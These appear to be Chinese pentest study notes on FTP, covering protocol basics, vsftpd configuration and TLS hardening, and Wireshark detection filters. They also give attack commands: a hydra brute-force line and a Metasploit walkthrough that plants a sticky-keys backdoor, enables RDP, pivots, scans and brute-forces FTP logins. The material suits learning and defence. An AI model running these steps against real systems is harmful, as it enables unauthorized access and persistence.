介绍
- FTP: 文件传输协议,是一个用于在计算机网络上在客户端和服务器之间进行文件传输的应用层协议
- 与 Telnet 类似,FTP 的命令和数据通道都是未加密的
- FTP 一般运行在 20 和 21 两个端口,端口 20 用于在客户端和服务器之间传输数据流,端口 21 用于传输控制流,并且是命令通向 FTP 服务器的进口。当数据通过数据流传输的时候,控制流时,控制流处于空闲状态,而当控制流空闲较长时间后,客户端的防火墙会将该会话设置为超时,这样当大量数据通过防火墙时,会产生一些问题,此时,虽然文件可以成功传输,但
- 是会因为控制会话,被防火墙断开。
- 运行 FTP 服务的站点大都开放匿名服务,在这种设置下,用户不需要账号就可以登陆服务器,默认情况下,匿名用户的用户名是 anonymous, 这个账号不需要密码
- 两种模式:
- 主动模式: 要求客户端和服务器端同时打开并监听一个端口以创建连接
<font style="color:rgb(51, 51, 51);">主动模式不适合, 客户端位于防火墙后的环境,因为防火墙会阻止客户端的传入连接</font>
- 被动模式: 服务端产生一个监听相应端口的进程, 客户端发送命令
<font style="color:rgb(51, 51, 51);">PASV</font>
服务器向客户端发送一个随机端口。一旦客户端收到端口号,客户端就会与提供的端口号建立连接,以便服务器可以启动到客户端的数据传输。
- 主动模式: 要求客户端和服务器端同时打开并监听一个端口以创建连接
- FTP 命令列表
- FTP 服务器返回状态码
FTP 使用
# 在本机执行,下载所有可用文件
wget -m --no-passive ftp://anonymous:anonymous@10.129.14.136
# 连接 FTP 服务器
FTP IP-address
# 下载文件
get [remote-file] [local-file] # 下载单个文件
mget [remote-files] # 下载多个文件
# 上传文件
put local-file [remote-file] # 上传单个文件
mput lical-files # 上传多个文件
# 断开连接
byte
应用
vsFTPd
基于 Linux 发行版的常用 FTP 服务器之一, vsFTPd 的默认配置位与 /etc/vsftpd.conf
# 一些危险的配置
anonymous_enable=YES # 允许匿名登录
anon_upload_enable=YES # 允许匿名上传文件
anon_mkdir_write_enable=YES # 允许匿名创建新目录
no_anon_password=YES # 不要匿名询问密码
anon_root=/home/username/ftp # 匿名目录
write_enable=YES # 允许使用 FTP 命令:STOR、DELE、RNFR、RNTO、MKD、RMD、APPE 和 SITE
# 获取服务器的一些概览设置
ftp> status # 获取 vsFTPd 的状态
ftp> debug
ftp> trace
Windows 安装 FTP
Windows上Enable FTP Server即可安装FTP,之后在IIS对FTP进行配置,如限制IP、改变端口等,详情参考。apt install vsftpd
ftp流量默认是未加密的,因此可以网络嗅探到凭据。可以配置SSL证书,对流量加密增加安全性。使用winscp工具时,FTP Server会将证书发给客户端,客户端允许后会存储证书到本地,使用此证书加密通信流量。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/vsftpd.pem -out /etc/ssl/private/vsftpd.pem
在vsftpd.conf最后添加:
rsa_cert_file=/etc/ssl/private/vsftpd.pem
rsa_private_key_file=/etc/ssl/private/vsftpd.pem
ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=YES
force_local_logins_ssl=YES
ssl_tlsv1=YES
ssl_sslv2=NO
ssl_sslv3=NO
require_ssl_reuse=NO
ssl_ciphers=HIGH
漏洞
- 使用弱密码— 爆破
- 使用匿名身份验证登陆
爆破
hydra -L user -P pass 192.168.1.102 ftp
FTP Pivoting through RDP
如果FTP服务对客户端IP做了限制,就需要以允许连接的客户机作为跳板。下面这个例子,将很多后渗透技术结合在一起,是个不错的参考。
1. 拿下Pivote机器后,设置RDP+sticky_keys
use post/windows/manage/sticky_keys
use post/windows/mange/enable_rdp
2. 发现存在其他网段
meterpreter> ifconfig
3. 设置路由,扫描其他网段机器
use post/multi/manage/autoroute
msf post(autoroute) > set session 1
msf post(autoroute) > exploit
use post/windows/gather/ping_sweep
msf post(ping_sweep) > set rhosts 192.168.100.1-110
msf post(ping_sweep) > set session 1
msf post(ping_sweep) > exploit
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 21
msf auxiliary(tcp) > set rhosts 192.168.100.103
msf auxiliary(tcp) > set thread 10
msf auxiliary(tcp) >exploit
3. ftp爆破FTP用户名密码
use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.100.103
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit
msf的autoroute,对一个网段只能设置一条路由。如果服务S1只对A机器开放,服务S2只对B机器开放,这种添加路由的方式,其实不好自动化。
4. RDP登录Pivot机器,在此机器上访问ftp
rdesktop 192.168.0.101
利用sticky_keys,启动cmd.exe,start iexplore.exe
IE中输入:ftp://192.168.100.103
Wireshark 分析 FTP 数据包
笔记 | Wireshark 过滤器 |
---|---|
全局搜索 | + ftp |
“FTP”选项可轻松获取唾手可得的果实: + x1x 系列:信息请求响应。 + x2x 系列:连接消息。 + x3x 系列:身份验证消息。 注: “200”表示命令成功。 |
—- |
“x1x” 系列选项,可轻松摘取唾手可得的果实: + 211:系统状态。 + 212:目录状态。 + 213:文件状态 |
+ ftp.response.code == 211 |
“x2x” 系列选项,可轻松摘取唾手可得的果实: + 220:服务就绪。 + 227:进入被动模式。 + 228:长被动模式。 + 229:扩展被动模式。 |
+ ftp.response.code == 227 |
“x3x” 系列选项,可轻松摘取唾手可得的果实: + 230:用户登录。 + 231:用户注销。 + 331:有效的用户名。 + 430:无效的用户名或密码 + 530:没有登录,密码无效。 |
+ ftp.response.code == 230 |
用于抓取低垂果实的“FTP”命令: + USER:用户名。 + PASS:密码。 + CWD:当前工作目录。 + LIST:List。 |
+ ftp.request.command == “USER” + ftp.request.command == “PASS” + ftp.request.arg == “password” |
抓住唾手可得的果实的高级用法示例: + 蛮力信号:列出失败的登录尝试。 + 暴力破解信号:列出目标用户名。 + 密码喷射信号:列出静态密码的目标。 |
+ ftp.response.code == 530 + (ftp.response.code == 530) and (ftp.response.arg contains “username”) + (ftp.request.command == “PASS” ) and (ftp.request.arg == “password”) |